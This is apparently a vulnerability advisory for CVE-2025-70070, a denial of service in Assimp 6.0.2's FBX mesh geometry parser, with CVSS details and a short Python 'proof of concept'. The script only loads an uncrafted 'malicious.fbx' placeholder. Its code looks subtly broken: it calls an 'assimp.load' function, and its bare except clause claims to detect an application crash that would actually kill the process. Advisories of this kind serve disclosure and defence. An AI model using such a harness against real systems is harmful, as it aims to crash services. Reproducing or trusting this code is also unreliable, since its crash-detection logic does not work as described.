An issue in Assimp v.6.0.2 allows a remote attacker to cause a denial of service via the FBXMeshGeometry.cpp, MeshGeometry::MeshGeometry()
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Assimp 6.0.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import assimp
# PoC for CVE-2025-70070
# This script attempts to load a malicious FBX file that triggers a DoS in Assimp v6.0.2
# The vulnerability lies in FBXMeshGeometry.cpp within MeshGeometry::MeshGeometry()
def trigger_dos(malicious_file_path):
try:
# Load the scene
# Internally calls MeshGeometry::MeshGeometry() which crashes on malformed data
scene = assimp.load(malicious_file_path)
print("File processed successfully (Vulnerability not triggered or patched)")
except Exception as e:
print(f"Exception caught: {e}")
except:
print("Application crashed (Denial of Service occurred)")
if __name__ == "__main__":
# Replace 'malicious.fbx' with the actual crafted file
# Crafting involves manipulating the mesh geometry definition in the FBX binary format
trigger_dos("malicious.fbx")